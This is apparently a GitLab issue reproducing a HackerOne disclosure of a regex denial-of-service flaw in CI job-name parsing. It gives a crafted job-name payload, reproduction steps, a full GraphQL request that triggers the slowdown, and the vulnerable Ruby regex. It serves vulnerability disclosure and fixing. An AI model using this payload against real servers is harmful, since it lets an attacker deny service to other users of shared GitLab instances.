Skip to content

Backend: ReDoS on CI Editor and CI Pipeline detail pages

HackerOne report #1353058 by stunninglemon on 2021-09-27, assigned to @vdesousa:

Report | Attachments | How To Reproduce

Report

Summary

CI/CD Job names can be crafted to cause a regex DoS attack on the server side. The attack can be triggered either in the CI/CD Editor if the user has write access or on CI/CD Pipeline detail page if the user has read access to the CI/CD.

Steps to reproduce

On the CI/CD Editor page

  1. Create a repository
  2. Go to CI/CD > Editor
  3. Click Create new CI/CD Pipeline
  4. Replace the code with the following
":[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:[]:":  
  script:  
    - echo "hi"  

As the code changes, the editor will try to validate the new code and the attack is launched.
The time scales exponentially with respect to the size of the []: pattern (the pattern in the code above makes my CPU spike to 100% for about 10 seconds).

On the CI/CD Pipeline detail page

  1. Follow the previous instruction and submit the changes in the editor
  2. Go to CI/CD > Pipelines
  3. Open the newly created pipeline to launch the attack by clicking on its ID. The Pipeline tab will hang for multiple seconds.

It is also possible to reproduce both of these attacks with a single HTTP request.
For example the request from the CI/CD Pipeline detail page (fields between < > must be changed)

POST /api/graphql HTTP/1.1  
Host: <HOST>  
Content-Type: application/json  
X-CSRF-Token: <CSRF-TOKEN>  
Origin: http://<HOST>  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: cors  
Sec-Fetch-Dest: empty  
Cookie:  <COOKIES>  
Connection: close

{"query":"fragment LinkedPipelineData on Pipeline {\n  __typename\n  id\n  iid\n  path\n  status: detailedStatus {\n    __typename\n    group\n    label\n    icon\n  }\n  sourceJob {\n    __typename\n    name\n  }\n  project {\n    __typename\n    name\n    fullPath\n  }\n}\n\nquery getPipelineDetails($projectPath: ID!, $iid: ID!) {\n  project(fullPath: $projectPath) {\n    __typename\n    pipeline(iid: $iid) {\n      __typename\n      id\n      iid\n      complete\n      usesNeeds\n      userPermissions {\n        updatePipeline\n      }\n      downstream {\n        __typename\n        nodes {\n          ...LinkedPipelineData\n        }\n      }\n      upstream {\n        ...LinkedPipelineData\n      }\n      stages {\n        __typename\n        nodes {\n          __typename\n          name\n          status: detailedStatus {\n            __typename\n            action {\n              __typename\n              icon\n              path\n              title\n            }\n          }\n          groups {\n            __typename\n            nodes {\n              __typename\n              status: detailedStatus {\n                __typename\n                label\n                group\n                icon\n              }\n              name\n              size\n              jobs {\n                __typename\n                nodes {\n                  __typename\n                  name\n                  scheduledAt\n                  needs {\n                    __typename\n                    nodes {\n                      __typename\n                      name\n                    }\n                  }\n                  status: detailedStatus {\n                    __typename\n                    icon\n                    tooltip\n                    hasDetails\n                    detailsPath\n                    group\n                    action {\n                      __typename\n                      buttonTitle\n                      icon\n                      path\n                      title\n                    }\n                  }\n                }\n              }\n            }\n          }\n        }\n      }\n    }\n  }\n}\n","variables":{"projectPath":"<username>/<repo_name>","iid":1}}  

Impact

The CPU of the server will spike to 100% for as long as the attacker wants (based on the job name size). The attack can be repeated an unlimited number of times and does not require any user interaction. The client wont be able to validate the pipeline in the web editor nor access the Pipeline tab on the Pipeline detail page.

Any user with read access (or everyone if the repository and CI/CD is set to public) will inadvertently launch an attack just by visiting the Pipeline detail page.

What is the current bug behavior?

The regex used to separate the name of the job from it's group runs in exponential time in the worst case. The relevant code is located in the file app/models/commit_status.rb

  def group_name  
    name.to_s.sub(%r{([\b\s:]+((\[.*\])|(\d+[\s:\/\\]+\d+)))+\s*\z}, '').strip  
  end  

Please see https://www.regular-expressions.info/catastrophic.html for more information about bad regex's and some solutions.

What is the expected correct behavior?

The above code should run in linear time (quadratic time will lead to the same result but with input size of a few hundred to a few thousand characters).

Results of GitLab environment info

GitLab installed from docker

sudo docker exec -it gitlab gitlab-rake gitlab:env:info

System information  
System:  
Proxy:          no  
Current User:   git  
Using RVM:      no  
Ruby Version:   2.7.4p191  
Gem Version:    3.1.4  
Bundler Version:2.1.4  
Rake Version:   13.0.6  
Redis Version:  6.0.14  
Git Version:    2.33.0.  
Sidekiq Version:5.2.9  
Go Version:     unknown

GitLab information  
Version:        14.3.0-ee  
Revision:       dec73e99fdd  
Directory:      /opt/gitlab/embedded/service/gitlab-rails  
DB Adapter:     PostgreSQL  
DB Version:     12.7  
URL:            http://gitlab.local  
HTTP Clone URL: http://gitlab.local/some-group/some-project.git  
SSH Clone URL:  git@gitlab.local:some-group/some-project.git  
Elasticsearch:  no  
Geo:            no  
Using LDAP:     no  
Using Omniauth: yes  
Omniauth Providers: 

GitLab Shell  
Version:        13.21.0  
Repository storage paths:  
- default:      /var/opt/gitlab/git-data/repositories  
GitLab Shell path:              /opt/gitlab/embedded/service/gitlab-shell  
Git:            /opt/gitlab/embedded/bin/git  

Examples

The attached file contains an exported repository with the results from the steps described above.

Impact

The CPU of the server will spike to 100% for as long as the attacker wants (based on the job name size). The attack can be repeated an unlimited number of times and does not require any user interaction. The client wont be able to validate the pipeline in the web editor nor access the Pipeline tab on the Pipeline detail page.

Any user with read access (or everyone if the repository and CI/CD is set to public) will inadvertently launch an attack just by visiting the Pipeline detail page.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Mark Nuzzo